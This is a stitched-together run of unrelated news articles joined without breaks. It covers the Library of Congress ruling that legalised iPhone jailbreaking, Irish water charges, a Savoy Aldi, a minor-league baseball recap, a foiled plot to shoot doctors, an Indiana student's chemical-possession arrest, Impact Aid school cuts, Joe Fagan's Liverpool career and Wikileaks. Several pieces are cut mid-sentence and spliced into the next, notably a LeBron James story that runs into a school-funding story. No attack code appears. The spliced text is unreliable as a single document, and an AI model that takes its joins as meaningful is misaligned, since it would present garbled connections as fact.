thought. It had a very white color, even when it was fully baked. If I was to make it again, I would try using 2 cups of flour as per the original recipe but half the milk.No substitutions.Tooze, J. Adam.. New York: Viking, 2007."Theresienstadt." United States Holocaust Memorial Museum. June 20, 2014. Accessed December 27, 2014. http://www.ushmm.org/wlc/en/article.php?ModuleId=10005424.Gov't Unlocks Apple's iPhone But Is The Jailbreak Era Over?
toggle caption Paul Sakuma/AP
The iPhone ecosystem, which Apple protects with the ferocity of a Smoke Monster, is about to get wilder.
And we have the Library of Congress to thank for it.
Librarian of Congress James H. Billington has ruled that it's legal for Apple iPhone users to modify their phones' software, in response to a request by the Electronic Frontier Foundation. In doing so, he rejected Apple's argument that jailbreaking -- circumventing controls to run unapproved software on the iPhone -- is against copyright law.
If you're scratching your head over how Billington could do that (I admit it: I was), here's some background: The Digital Millennium Copyright Act (DMCA) requires him to rule on conflicts between copyright and fair use/fair access every three years.
First Consumer Reports bashes the iPhone 4's receptile dysfunction, and now the Library of Congress tosses out Apple's claims that it alone should decide what software can be placed on the device.
What other entrenched, unimpeachable American institution will be the next to take Apple down a notch? Betty White?
But in all seriousness, in addition to clearing the way for unapproved apps on the iPhone, the new rules allow phone owners to break wireless carriers' controls on their phones, as well.
The new rules apply to all phone manufacturers. Apple was named in the EFF's request because its popular smartphone and closed app market placed it at the nexus of the issue.
An 81-year-old man reining in a tech company known for its next-generation gadgets may strike a chord of cognitive dissonance with many folks. But Billington's decision underlines an intrinsic flaw in the U.S. cellphone market. For too long, Americans who buy cellphones have been treated like second-class consumers.
It's important to note that the new rules don't force Apple to change how it runs its App Store, or to make sure that iPhone firmware updates play nice with rogue apps. And it's unclear how the change might affect Apple's policy that jailbreaking a phone voids its warranty. (We've reached out to Apple on this and we'll update you with their response.)
But Billington's ruling pushes things in the right direction. Because when you lay out $200 for a phone in America -- then by darn it, you're now the sole owner of that phone. That's not Apple's phone, or Motorola's -- and it certainly doesn't belong to AT&T or Verizon.
The fact that we call it "jailbreaking" when someone tries to customize their phone is a sign of how far we've traveled down a bad road. According to that metaphor, Apple behaves like a prison warden, deciding who gets privileges and who gets punishment.
The argument that such tight control is necessary to preserve a pristine "user experience" for consumers falls apart when a large group of those same consumers go to extreme measures to gain control of their own property -- even at the risk of penalties and voided warranties.
From what I've seen, the "jailbreak" community, like the mp3 crowd of 10 years ago, isn't full of master criminals. It's mostly just people who want to use advanced, even futuristic, phones in a backward environment -- namely, the U.S. cellphone market.
Reading an RSS feed about jailbreaking and other modification efforts, the headlines often take on a pattern, where a flock of stories titled "Unlocked!" is often followed by a smaller batch, with the word "Bricked" in the title.
But now all of that might change, thanks to a case that wasn't about networks, or antennas, or market share. It was about copyright -- the sharing and evolution of ideas.
The exemptions coming from Billington's office expire after three years, unless the conditions haven't changed. And thanks to this ruling, the situation could be wildly different in 2013.Tánaiste and Labour leader Joan Burton says she is confident people who have registered for the €100 water conservation grant will pay their water bills.
Asked if the Government still intended to give the grant to those who refused to pay their water bills, Ms Burton said she was very confident those who took the €100 would pay.
“I’m very confident that the vast majority of Irish people are very honest and they deal with very honestly with Government,” she told RTÉ’s Morning Ireland.
“My understanding and my anticipation is, just again based on conversations with people, that people who have registered with Irish Water, the vast bulk of them as we’ve seen already, intend to pay the charges.”
Ms Burton said for a new utility the number of those who had paid to date was “actually exactly where we expected it to be”.
Recent figures from Irish Water show that 51 per cent of people have paid their second phase water charge.
Asked again if people who did not pay their bills would receive the grant, she said people who registered would be paid.
“I anticipate because people are very, very honest that those people who take the conservation grant will address their responsibilities.”
Ms Burton accused Opposition politicians of “pirouetting at a crazy rate” over the issue.
Turning to the Budget, Ms Burton said she was looking forward to focusing on families with children, among other groups.
An increase in child benefit could be anticipated, she said, along with a “better childcare package”.
No figures had been decided yet, she added.
She said last year she had re-introduced 25 per cent of the Christmas bonus for older people. “I hope to be in a position to at least double that this year.”
Ms Burton said the Budget would be a “whole of life” package.
“The target will be families with children and people who have retired and people for instance who have a disability and people who are caring,” she said.
She also said there would be a “very significant” package of investment into getting people back to work, along with a programme of building primary schools and getting more teachers into schools.
“It’s a whole of life package. That’s what the Budget will be, about improving the living standards, as far of possible, of everybody in the country. That’s what the approach to the Budget is.”
She said the country had a great future. “We stand actually improve life for everybody in this country.”SAVOY — Construction equipment should arrive this week to begin work on the new Aldi in Savoy.
The discount grocery store is expected to open late September, Savoy Village Manager Dick Helton said Tuesday at the town’s economic development commission meeting.
“We had a meeting with them yesterday to lay some groundwork on how they’re going to proceed,” he said. “The construction trailer is sitting there along with a big dumpster. They’ll be moving equipment in this week and starting the earth work.”
The 18,000-square-foot store will have an entrance directly onto Dunlap Avenue just north of the Christie Clinic, so drivers in that area may experience some delays.
“There probably are going to be a few days it’s going to be impacted,” Helton said. “Their main entrance is going to be off Dunlap, so that means a lot of trucks and equipment will be going in and out of there.”
With the addition of Aldi, Savoy will have three grocery stores along with Walmart and Schnuck’s.
Those two stores could be affected in the short term, but Helton expects that in the long term they’ll be all right.
“There’s the fear that this will have an impact on the other two stores. Initially, it will. That’s just the way it happens,” he said. “But six months to a year from now, everything will even out. It’s a different clientele that goes to Aldi than goes to the other two.”
He added: “We talked to both Schnuck’s and Walmart, and neither one of them had an issue. They said, the more the merrier.”
Savoy has been courting Aldi for over a decade, Helton said, so he’s glad they’re finally here.
“We started working on Aldi back in ‘06, at various times, and at various locations around the community,” he said. “They’re interested in the community. They know they need a presence here, not only because of Savoy but the surrounding area.”
“It will be a great addition to this part of the community,” he added. “And it’s filling in a spot that has been open there for a long, long time that needs to be filled in.”Shutting down the government may end up costing Republicans control of the House of Representatives.
A series of polls released Sunday show just how damaging the shutdown has been for the GOP. The liberal-leaning Public Policy Polling compiled two dozen surveys, commissioned and paid for by MoveOn.org Political Action, from House districts around the country, taken from Oct. 2 through Oct. 4. Sample sizes were between 600 and 700 voters in each district.
For Democrats to win a House majority, 17 seats would need to switch to their party's favor. Results show that would be within reach, as Republican incumbents are behind in 17 of the districts analyzed: CA-31, CO-06, FL-02, FL-10, FL-13, IA-03, IA-04, IL-13, KY-06, MI-01, MI-07, MI-11, NY-19, OH-14, PA-07, PA-08, WI-07. In four districts, the incumbent Republican fell behind after respondents were told their representative supported the government shutdown: CA-10, NY-11, NY-23, VA-02. Three districts saw GOP incumbents maintain their hold over their Democratic challengers, even after hearing their elected officials' views on the shutdown, including CA-21, NV-03 and OH-06.Jackson “Mississippi” Stephens battled even though he may not have had his best stuff. He gave up 7 hits and walked 3 over 6 innings but only allowed 2 earned runs. He also struck out 5. Jimmy “I Drink To” Herget struck out 2 in 2 scoreless innings of relief and picked up the win. Tyler “I Said Good Day!” Goeddel was 2 for 4 with 2 doubles and a RBI, and Zach “Soft J” Vincej was 2 for 4 with 2 doubles and 2 RBI.
Luke Farrell pitches at 7:05 PM ET.
Keury “Hella” Mella is still striking people out, but for some reason I find him uninspiring. He struck out 7 in 6 innings, but walked 3 and gave up 5 hits. He only allowed 2 earned runs. Alex “International Man Of Mystery” Powers struck out 1 in a scoreless inning. Nick “Show Me The Power” Senzel accounted for pretty much all of Pensacola’s offense. He walked twice, but also hit a 2-run dinger which his 10th since reaching AA and his 14th overall in 2017.
Austin Ross takes the mound at 6:35 PM CT.
Wyatt “Derp” Strahan got knocked around pretty good. He allowed 5 earned runs on 8 hits over 4.2 innings. He didn’t walk a batter and struck out 4. Juan Martinez struck out 2 in 2 scoreless, Jake “Ferret” Ehret struck out the side in the 8th, and Rafael “Angry Turtle” De Paula did the same in the 9th. Mitch Piatnik “At The Disco” went 2 for 4 with a triple and a RBI.
Seth Varner pitchest at 7:05 PM ET.
Looks like we had a Bowling Green Massacre in Dayton. Also, if you didn’t know, there were several Red Reporters in attendance at this game. I’m sure their luck paid off, and Charlie Scrabbles raised Cain. At least, he probably shouted some cool shit at players and made fun of their names. Tony “Santigold” Santillan pitched 5 scoreless innings while allowing only 1 hit and striking out 5. Alex “Dark” Webb also only gave up 1 hit in the final 4 innings on 3 strikeouts to pick up the save. That’s pretty cool. Taylor “Let The Young Man Eat” Trammell is freaking phenomenal. He went 2 for 5 with a triple, a 3-run Charlie Scrabble’s special, and 5 RBI total. Taylor Sparks also hit a solo home run on a 2 for 5 night 2 RBI total. Randy “Ace” Ventura was 2 for 4 with a double, Jose Siri was 1 for 3 with a RBI and 2 walks, Hector “Vector” Vargas was 2 for 4 with a walk, Malik “LassyLess” Collymore doubled in 2 runs and walked, and “Butch” Cassidy Brown went 2 for 4 with a double and a RBI. Maybe one of the assholes at the game will give us a more in depth report from the game. Don’t hold your breath. They’re all wastoids. If you haven’t figured it out yet, I’m super jealous of them.
Andrew Jordan pitches at 7:00 PM ET.
Barf. I stayed up to write this one only to have Billings lose. Tyler “Walter” Mondile pitched well in his start. He allowed only 1 earned run in 5 innings on 5 hits, 1 walk, and 4 strikeouts. Connor Bennett struck out 2 in 2 scoreless innings but walked 3, and Tyler “Warren” Buffett struck out 3 in 2 innings. Miles “James” Gordon continued his spectacular 2017 season by going 2 for 4 with a double and a walk. Stu Fairchild also single and walked.
Billings will play again tonight at 7:00 PM MT with Packy Naughton on the mound.
The Baby Reds were losing to the Baby Doders 12 to 1 when I finally gave up. There is little to nothing to write about. Justin Bellinger did pull a Cody by hitting a solo dinger. Speaking of Bellingers. The Dodgers put Cody Bellinger on the DL and called up former Cincinnati farm hand relief pitcher Josh Ravin.Armed man intercepted on way to murder Bay Area doctors, cops say
Yue Chen was charged with attempted murder. Yue Chen was charged with attempted murder. Photo: Palo Alto Police Department / Palo Alto Police Department Photo: Palo Alto Police Department / Palo Alto Police Department Image 1 of / 28 Caption Close Armed man intercepted on way to murder Bay Area doctors, cops say 1 / 28 Back to Gallery
An armed man on an alleged mission to murder three of his doctors in the Bay Area was busted last week while en route from the Central Valley, officials said Tuesday.
Yue Chen, 58, rented a Nissan Rogue, packed up his two semi-automatic handguns and started off from his hometown of Visalia (Tulare County) on Wednesday with a plan to execute three physicians at their homes in the Bay Area, Palo Alto police officials said.
Police said Chen was bent on killing the doctors because he was upset about “a medical condition and medical treatment” he received from them.
Authorities would not elaborate on the circumstances of Chen’s condition out of concern for his privacy.
Once police were alerted about Chen’s alleged nefarious plan, they put the word out to several jurisdictions around the state, while alerting the doctors in case he showed up at their homes. Police would not say how they learned of the alleged plot.
Palo Alto police got a call around 7:45 p.m. Wednesday from the California Highway Patrol, saying they had stopped the Nissan on Highway 101 near Hellyer Avenue in San Jose.
Chen was driving and had his two legally owned handguns with high-capacity magazines, according to police. The CHP arrested Chen without incident and took him to a hospital “for treatment related to his medical condition,” officials said.
Chen was discharged from the hospital that evening and booked in Santa Clara County’s Main Jail. He was later charged with three felony counts of attempted murder by the district attorney’s office.
Evan Sernoffsky is a San Francisco Chronicle staff writer. Email: esernoffsky@sfchronicle.com Twitter: @EvanSernoffskyLeBron James steps off the Cavaliers' plane at the Cleveland airport with the championship trophy and a large crowd of people chanting "MVP." (0:33)
OAKLAND, Calif. -- As his last on-court television interview of the night wrapped up, LeBron James walked off the finally silent Oracle Arena floor where he'd put up a triple-double in the clinching Game 7.
He made a long, winding trek through barren concrete tunnels until he reached the Oakland Raiders' locker room in the neighboring O.co Coliseum, which had been transformed into a makeshift studio for the Cleveland Cavaliers to snap photos holding their newly captured Larry O'Brien Trophy.
There were three portraits James wanted to take, the same as after his other two championships: one with his wife, Savannah, and children (this was his infant daughter Zhuri's first); one with his lifelong friends Maverick Carter, Rich Paul and Randy Mims; and one with his mother, Gloria.
With each step, champagne squishing in his sneakers from the postgame celebration that was but a teaser for the rager that awaits the Cavs back in Cleveland, the best basketball player in the |
water Community School on Arizona's Gila River Indian Reservation, one of about 1,300 school districts nationwide that receives federal Impact Aid for schools that can't collect local property taxes. So they're preparing for a hard school year, perhaps one of the hardest since the federal Bureau of Indian Affairs built Blackwater in 1939.
"We have this amazing little school that is beating the odds," she said, "but you can't continue to keep it up with no funding."
Schools located both on federal Indian land and military bases receive Impact Aid, but children on Indian lands account for nearly half of Impact Aid dollars, even though they're outnumbered by military kids by more than three to one. While federal funding generally accounts for about 10% of most school districts' budgets, in schools like Blackwater, it can account for one-third or more of the budget.
When Powers' annual check arrived last November, it totaled only about 70% of what she was expecting. Anticipating the mandatory cuts originally due to hit this past January, federal bookkeepers cut her a check with a $62,000 hole in the middle. "That's a huge amount of money in our budget," she said. Add to that the first round of anticipated federal cuts for both poor and disabled children and she expects class sizes to rise. She has already spent most of her emergency fund.
A few hours east, Window Rock, Ariz., Superintendent Deborah Jackson-Dennison confirmed, "We're already under the sequester, right now." As she spoke Thursday, principals were gathered in a conference room down the hall from her Fort Defiance, Ariz., office, trying to figure out how to select teachers for pink slips. Thirty-five teachers have already said they'll leave the district this spring, but Jackson-Dennison needs to trim another 17. She began the school year with 179 teachers and can afford only 127 next fall. "The word has been out about this," she said. "People are leaving on their own."
She plans to close or consolidate three of her seven schools.
John Forkenbrock, executive director of the National Association of Federally Impacted Schools, said he's getting phone calls and e-mails from superintendents looking for help putting together their 2013-14 budgets, but uncertainty about how the sequestration will play out means he can't really help them. Districts could get a little relief as the federal budget process plays out. Power's 70% could eventually rise to 80% when final numbers are in. "We have to think that the glass is still half full."
Jackson-Dennison said she's not sure where her laid-off teachers, 80% of whom are Navajo, will find work. Albuquerque is a three-hour drive and that district is feeling the sequestration's effects too. "They've been here for centuries — they're from here and many generations have been here," she said. The school district is "the only solid structure that they can rely on."
Read or Share this story: http://usat.ly/15wltR9Ryder Pickens, 20, pleaded not guilty to a felony charge of attempted manufacturing of a destructive device.
Ryder Pickens, 20, was arrested Wednesday, Jan. 22, 2014, on a charge of attempted manufacturing of a destructive device after police found chemicals that can be used to make explosives in his bedroom. (Photo: Bloomington Police Department) Story Highlights Call from an acquaintance prompted police to search Ryder Pickens' apartment last week
Police found chemicals that were sufficient to'synthesize explosives'
Computer history showed searches for weapons of mass destruction and sarin gas
INDIANAPOLIS — An Indiana University student is facing a felony charge after police found in his bedroom an array of chemicals that can be used to make explosives and Web searches on his computer for sarin gas and weapons of mass destruction.
Ryder Pickens, 20, was arrested Wednesday and charged with attempted manufacturing of a destructive device. The Class C felony is punishable by two to eight years in prison.
During an initial court hearing in Monroe County Circuit Court on Thursday, Pickens pleaded not guilty to the felony charge. He is being held in the Monroe County Jail on a $1 million surety bond.
About 11:30 p.m. Jan. 16, a 20-year-old acquaintance of Pickens called police to say that the Indiana University student had dangerous chemicals and laboratory equipment in his basement bedroom and that he had been browsing websites on how to make explosives, according to a news release from the Bloomington Police Department.
Authorities quickly obtained a search warrant and about three hours later entered his apartment near the Bloomington, Ind., campus. Police seized several containers of nitric acid, ferric chloride and other household cleaners and laboratory equipment.
Pickens admitted possessing the materials, police said, but denied trying to make a bomb.
He was taken to IU Health Hospital for "an immediate detention," police said.
Officers returned to Pickens' apartment later that day with another search warrant to investigate a package that was delivered that day. The parcel contained additional laboratory glassware, sodium nitrate, black iron oxide, hydrochloric acid, sulfuric acid, potassium chlorate, strontium nitrate, barium nitrate, and potassium per chlorate, police said. FBI specialists and other explosives experts confirmed to Bloomington police that the chemicals were sufficient to "synthesize explosives," police said.
“He's a couple steps away from having some type of lab going. He just didn't make it there.” Sgt. Ron Humbert, a member of the Indianapolis Metropolitan Police Department bomb squad
On Wednesday, investigators examined Pickens' computer and found website queries for "weapons of mass destruction, effects of sarin gas, Agent Blue, and the chemical components for Agent Orange," police said.
Later that day, Pickens was released from the IU Health Hospital and taken into police custody.
Police said Pickens' motive for buying the chemicals remains unknown and an investigation is ongoing. Also unclear is why police sent Pickens to the hospital after the Jan. 17 search of his apartment and why he was there for nearly a week before his arrest.
Officials with the Indiana Department of Homeland Security said the agency was not involved in the investigation. The federal Department of Homeland Security and the Bureau of Alcohol, Tobacco, Firearms and Explosives, as well as the FBI field office in Bloomington, did not return phone calls.
Sgt. Ron Humbert, a member of the Indianapolis Metropolitan Police Department bomb squad, said many of the ingredients found in Pickens' apartment are often used to create common fireworks.
Humbert, who was not involved in the investigation, said many of the chemicals can create a green flash like those seen in pyrotechnics.
Buying chemicals like the ones found in Pickens' possession, Humbert said, isn't against the law as long as they aren't used to create a bomb.
"It's all legal, you know? You can buy anything off the Internet," Humbert said. "He's a couple steps away from having some type of lab going. He just didn't make it there."
An Indiana University spokesman said Pickens was taking courses toward a degree in informatics, a type of computer science involving information systems.
Family members contacted by The Indianapolis Star declined to comment.
Pickens has been arrested before.
He is accused of assaulting an emergency medical services crewmember in November while he was being transported to IU Health Methodist Hospital, where he was later placed on a medical watch for evaluation, according to an Indianapolis Metropolitan Police Department report. It is unclear what that evaluation was for. The assault charge is pending in Marion Superior Court.
Pickens will have a bond review hearing in Monroe County Circuit Court next week. A pretrial hearing is scheduled for March 27.
Read or Share this story: http://usat.ly/1jrcsUQIn a week when the Champions League group stages kicked off again amid a backdrop of reprisals and recriminations regarding the state of the national game – initiated by Greg Dyke's call to arms and hardened by England's recent dour draw in Kiev – it feels appropriate to pose this teaser: Who was the last English manager to win the European Cup? Answer: Joe Fagan. Cue, one suspects, a raising of eyebrows by some and a shrugging of shoulders by others.
It is a curiosity of this country's footballing back story that Fagan, who managed Liverpool between 1983-1985, remains such an unheralded figure. Rarely, if ever, spoken of as one of the greats and practically unheard of by many supporters under the age of 30. This, after all, is a man who 15 years before Sir Alex Ferguson's greatest moment became the first British manager in English football to win three major honours in one season – the old First Division title, the Milk Cup and the European Cup. Even more remarkably, the triumph occurred in Fagan's debut season in charge at Anfield, and with "old big ears" captured against Roma in Rome. "Football, bloody hell" as somebody once said.
The 1983-84 season can justifiably be judged to be the finest in Liverpool's history, yet even at the club itself there is minimum recognition of the man who led the glory charge. No statue, no gate, not even a plaque in Fagan's name. In fairness, there are tributes to his achievements at the club's museum, as well as a Joe Fagan meeting room at Liverpool's offices in Chapel Street, and having found himself sandwiched between Bill Shankly and Bob Paisley on one side and Kenny Dalglish on the other in Liverpool's roll-call of managers, it is perhaps not a great surprise that Fagan's achievements are not more obviously celebrated at Anfield, especially given the brief nature of his reign.
At practically any other club Fagan would continue to be hailed as a king among princes but on Merseyside he is generally remembered with fondness rather than pulsating adoration. Fagan probably would have preferred it that way given his modest, humble nature, with his only major regret most likely being the nature of his departure from the Anfield hotseat – the end coming amid the tragedy and cruelty of the Heysel Stadium disaster. "He lived with it all his life," said Andrew Fagan, Joe's grandson and co-author of Joe Fagan: Reluctant Champion. "He had served in the Royal Navy during the war, he understood what was a game and what was not. From what I am told he never really talked about it at home, he simply carried it with him."
If the end was bleak then the rest of Fagan's time at Liverpool was tinged with a golden hue. The born-and-bred Scouser joined the club as a coach on 30 June 1958 and, following Bill Shankly's arrival as manager 18 months later, was put in charge of the reserves. Having caught the eye of the Scot, Fagan was made first-team coach in July 1971 and following Shankly's shock resignation three years later, became Bob Paisley's assistant.
Paisley's spell in charge was glorious – he led Liverpool to 14 major honours in nine seasons – and it only enhanced Fagan's reputation as a coach and potential successor despite his only previous managerial experience coming with non-league Nelson in the early-1950s. "To Kopites, Fagan's appointment [as manager] felt like an obvious promotion after the successful in-house succession from Shankly to Paisley," says writer and long-time Anfield season-ticket holder Mike Nevin. "In Papal terms, white smoke from the chimneys on the roofs of Back Rockfield Road filled the Anfield skies in no time once Paisley's decision to retire was known."
Bob Paisley, left and Joe Fagan on the bench at Anfield. Photograph: Pa/PA Archive/PA Photos
But as the title of the book Andrew Fagan wrote alongside author and LFC TV senior producer Mark Platt suggests, Joe Fagan did not himself deem his elevation from assistant to manager as an obvious step. "He was very reluctant to take the job," says Platt. "Joe's feeling was that he was so ingrained in the club's rise to champions of Europe that he was almost duty-bound to take the job, especially as he was next in line to the throne. He also felt that if an outsider came in there was a strong chance he'd destroy the bootroom ethos that was behind Liverpool's success. Joe pretty much told Roy Evans, Ronnie Moran and the rest of the staff that he took the manager's job so they would keep theirs.
"The club's long-term plan was to give the manager's job to one of the senior players – Phil Neal and Kenny Dalglish were both in the frame – but they still had much to offer as players so Joe was seen as a more than worthy short-term appointment. And given he was 62 when he took the job, just two years younger than Paisley, that was all it was ever going to be, short term."
It it no surprise Fagan was so protective of Liverpool's bootroom given he essentially founded the fabled inner sanctuary. It was he, after all, who took delivery of the crates of Guinness given as a thank you from the brewery's team, which Fagan sometimes coached. With no obvious place to put the gifts Fagan ended up storing them in the same room as the boots which, holding a consistent and increasing supply of alcohol, became an obvious place for the backroom staff to gather, relax and share their thoughts.
Fagan officially became Liverpool manager on 1 July 1983 and soon two contradictory charges were thrown at him – that he was too soft to be the manager of a team that had to compete for major honours having won three of the last four league championships and three of the last seven European Cups, and that he was bound to succeed given the strength of the side Paisley had left him. Put another way, Fagan could not win or lose.
The soft-touch charge in particular was a myth. The laconic Fagan was anything but, with a host of players and coaches who worked with "Uncle Joe" testifying to his steely, no-nonsense attitude. Neal, who Fagan made Liverpool captain following Graeme Souness's departure to Sampdoria in the summer of 1984, tells a story of how the then assistant manager took it upon himself to hold the players to account after they found themselves 12th in the First Division following a 3-1 home defeat to Manchester City on Boxing Day 1981. "One morning we came into training and Joe Fagan said to Bob Paisley: 'Boss, you go down to Melwood. I'm going to have the lads,'" remembers Neal.
"Joe sat us all down and had a go at every single player, to Souness, to Dalglish, to me. He said: 'We've had more meetings in the last month at this club than I've had in 17 years. [Alan] Hansen, start heading the ball, Souness, you haven't won a tackle, Dalglish, you should have twice as many goals by now'. Joe was such a strong man that no one would doubt what he was saying. His finishing words were: 'I've said my piece. You're all playing like individuals, start playing as a team. I'm not having another meeting from now 'till the end of the season'. We went on to win the league."
Souness also remembers Fagan as a man who could get his message across "with a single look", a device he may well have used when telling Dalglish in October 1984 that he had been dropped for the upcoming league visit to Tottenham, a close-to-unthinkable decision at the time and one that stunned John Smith and Peter Robinson, the club's chairman and chief executive, when they heard the news upon landing in London for the game having been in Germany securing a new kit deal with Adidas. Liverpool lost 1-0 and Fagan admitted afterwards that he had made a mistake in dropping Dalglish, yet his reason for doing so was sound. The Scot had lost some of the spark that made him the key creative cog of a winning machine and, as Fagan saw it, when Dalglish played badly so did Liverpool.
Kenny Dalglish vies for possession with Bryan Robson during Liverpool's FA Cup semi-final with Manchester United in April 1985. The match came near the end of a difficult season for the Scot. Photograph: Bob Thomas/Bob Thomas/Getty Images
This touches on the other charge laid against Fagan – that success as manager was inevitable given Liverpool's strength at the time. There is no doubt he was taking over an awesome side, but therein also lay a problem. "Liverpool were so far in front of everyone else, domestically at least, that complacency had begun to set in," says Platt. "They won the title in '83 at a canter and, if anything, it had been too easy. The team failed to win any of their last seven games, losing five, and it was obvious that the players had taken their foot of the pedal. The danger was this attitude carried into the following season, and so Joe's main task was to remotivate the squad and stop them thinking winning was easy."
It helped Fagan that the squad he inherited from Paisley was not only talented but also fully accepting of his rise from No2 to No1, no one more so than the captain. "Souey was a big fan of Joe's," recalls Mark Lawrenson in Reluctant Champion. "That pre-season he called a meeting just for the players. He came in and said: 'Right, we think the world of this fella and this year we are absolutely determined to be successful for him.' To a man everyone said: 'Yep, you're right.'"
The squad of 1983-84 contained seven players – Neal, Hansen, Lawrenson, Alan Kennedy, Souness, Dalglish and Ian Rush – who would walk into many Kopites' "greatest Liverpool XI" and would have been strengthened to an even greater degree had Fagan been able to secure his key summer transfer targets: Charlie Nicholas of Celtic and Brondby's Michael Laudrup. For different reasons neither were signed, leaving Fagan instead to wrap up deals for the young Scottish defender Gary Gillespie from Coventry and the Brighton forward Michael Robinson. Gillespie did not feature until February, in a 2-2 draw with Walsall in the semi-finals of the Milk Cup, but Robinson was prominent straightaway, starting in the opening-day draw with Wolves as the manager opted for a three-man attack that also contained Dalglish and Rush.
It was a tactic Fagan turned to regularly during that season and contradicted the perception of him being an orthodox British coach and of the Liverpool team of that time being less than imaginative. Nevin describes them as "seldom fluent", while in a tribute to Fagan on the club's own website the side of 83-84 is deemed to have operated with "cool, calculating efficiency".
In fairness, the stats back up those assertions. In Fagan's first season, Liverpool won 22 league games, scoring 73 goals and conceding 32, which compares to 24 games won, 87 goals scored and 37 conceded in Paisley's final campaign in charge. In other words, they appeared to have become tighter at the back and less rampant up front. But it should be noted that under Fagan, Liverpool beat Luton and West Ham 6-0 and Notts County and Coventry 5-0 en route to winning their 15th league title and won every European away game prior to Rome, including a 4-1 victory over Benfica in Lisbon. The Milk Cup, meanwhile, was secured with a 1-0 win against Everton in a final that to be replayed at Maine Road after the initial tie at Wembley had ended goalless.
The European Cup final was, as Nevin puts it, "more absorbing than thrilling". Liverpool took the lead through Neal's 14th-minute strike before Roberto Pruzzo headed in an equaliser just before half-time. There were no more goals, leaving the visitors from Merseyside with the daunting prospect of having to beat Roma in a penalty shootout in front of a largely partisan crowd at the Stadio Olimpico. Here, though, came an opportunity for the manager to shape his own crowning moment.
"With exhausted, limp players preparing for a shootout, Fagan played his trump psychological card, explaining to his team that he didn't care if they prevailed on penalties or not after such an epic season-long effort," recollects Nevin. "The pressure removed, enter stage left Bruce Grobbelaar's jelly legs to cause Roman mental implosion."
With Grobbelaar having done his bit to put off the home side, Kennedy tucked away the decisive penalty to crown Liverpool kings of Europe for the fourth time since 1977. Fagan, in turn, joined Jock Stein, Matt Busby, Paisley, Brian Clough and Tony Barton as part of the select group of British managers to have landed club football's greatest prize.
Joe Fagan celebrates winning the 1984 European Cup with his Liverpool players. Photograph: Bob Thomas/Bob Thomas/Getty Images
Souness collected the trophy and it was to be his final act as a Liverpool player ahead of his departure to Sampdoria. Platt describes losing the Scot as a "massive blow" for Fagan, the man who was not only his captain but also the driving force of an all conquering side. The manager reacted by signing Jan Molby from Ajax, but the 21-year-old was a different player to Souness and not yet ready to become an influential member of the Liverpool side (that would come a season later when he inspired Dalglish's team to the league and FA Cup double). Soon realising this, Fagan then deployed Lawrenson in centre-midfield before also using Kevin MacDonald after he arrived from Leicester in November '84.
None of them, however, came close to filling the void left by Souness, and with Dalglish suffering a dip in form and Rush out injured until October, the 1984-85 campaign proved a gruelling affair for Liverpool. They found themselves 17th after a 1-0 home defeat to Everton on 20 October, and while Fagan's men were able eventually to string some wins together they could not maintain their grasp on the title and finished second to Howard Kendall's side. Liverpool also lost to another rival, Manchester United, in the semi-finals of the FA Cup.
Another European Cup final was reached, however, but this, prior to Hillsborough, was to be the darkest moment in the club's history. Rioting by Liverpool supporters in Brussels led to the death of 39 Italian and Belgian fans and a subsequent five-year ban from European football for all English clubs. Juventus's victory was something of an afterthought, especially for Fagan who had told his players before the game that, afterwards, they could call him Joe instead of boss having taken the decision some months earlier to retire. He returned from Belgium a broken man, seen crying on the shoulder of Evans as he stepped off the plane and barely able to comprehend what he had witnessed the previous evening.
The aftermath of crowd rioting at Heysel in 1985 which left 39 Italian and Belgium fans dead. Photograph: David Cannon/Getty Images
It was an awful way for Fagan's spell as Liverpool manager to end and it is further credit to the then 64-year-old that he took it upon himself to speak for the club at a memorial service at Liverpool's Catholic cathedral. "We pray for the families and friends who have suffered through bereavement," he told the congregation. "We pray that the sporting spirit, so treasured on Merseyside, may never be lost to violence or bitterness."
The address characterised Fagan's warmth as a man, a quality Liverpool's all-time record-appearance holder Ian Callaghan saw from the time they first worked together at reserve level.
"Joe was a lovely man, someone who was always around to give you advice and help in any he could," says Callaghan. "I remember once, we were at the Daresbury hotel, where we always stayed before a home game, and I was injured and needed to get to Anfield for some treatment if I was to stand any chance of playing that afternoon. Nobody was around to take me so Joe said he would. We got in his car and, on the way, he asked if I was hungry and wanted to eat something before my treatment. I said I wouldn't mind so he drove me to his house where his wife Lil made me scrambled eggs. That was typical not just of Joe but of his entire family – they were lovely, down-to-earth people."
Joe, Lil and their six children lived in a semi-detached house in Lynholme Road, a short walk from Anfield, and it was where they remained even after Fagan, upon becoming Liverpool manager, was offered a larger place by the club in Southport, Formby and the Wirral. The property became Fagan's sanctuary after retirement, offering him a quiet, family-orientated existence which suited him perfectly. Eventually he became a source of advice and encouragement to Evans after he took the manager's job in the mid-1990s and who looked upon Fagan as a mentor, describing him in later years as the "glue that held everything together" during Liverpool's golden era.
Fagan died following a battle with cancer on 30 June 2001, aged 80. It was perhaps apt given how his managerial achievements were overshadowed by those of Shankly and Paisley that his passing should occur in the same week as the Liverpool legend Billy Liddell and his fellow bootroom disciple Tom Saunders. Once again Fagan did not have the spotlight to himself but the fact that hundreds of Everton as well as Liverpool fans lined the streets as his funeral procession made its way to Anfield Crematorium showed Fagan had left his mark on the city of his birth.
"When you look at the all-time greats of Liverpool, Bill Shankly and Bob Paisley, you have to have Joe up there," said Hansen shortly after Fagan's death, while Dalglish described his contribution to the club as "immense".
From Souness, who attributes much of his success as a player to Fagan, came perhaps the greatest tribute. "Joe was Mr Liverpool," he said. "His contribution should never be allowed to fade from the memory."Wikileaks is playing a prominent, if under reported, role, in the 2016 American presidential election. Few understand the importance of Wikileaks in the eventual writing of the history of presidential politics.
The media write and talk about events as they happen, usually without historical background or context. A good historian writes with retrospection about past events that explain historical outcomes. U.S. Presidential elections leave behind a clutter of accounts of those who were (or claim to have been) eyewitnesses to history – campaign insiders, journalists, pundits, and hangers-on. The best insider accounts pierce some of the veil of campaign rhetoric, PR, talking points, and smoke and mirrors to explain what was really happening behind the scenes.
The most authoritative histories are based on candid materials that history-makers believe will never see the light of day. My own work used the top secret verbatim transcripts of the Politburo and Central Committee located in the Hoover Institution Archives at Stanford to delve into how the Soviet political and economic system actually worked. The tens of thousands of fading typescript pages revealed the actual spoken words of the Soviet founders, who fully expected their utterances to disappear into the vaults, never to be seen by any unauthorized person. The USSR collapsed in December of 1991, and the vaults opened wide, making the Soviet system among the best documented in history. Few secrets are left of mass political murder as Soviet leaders turn over in their resting places in the Kremlin wall.
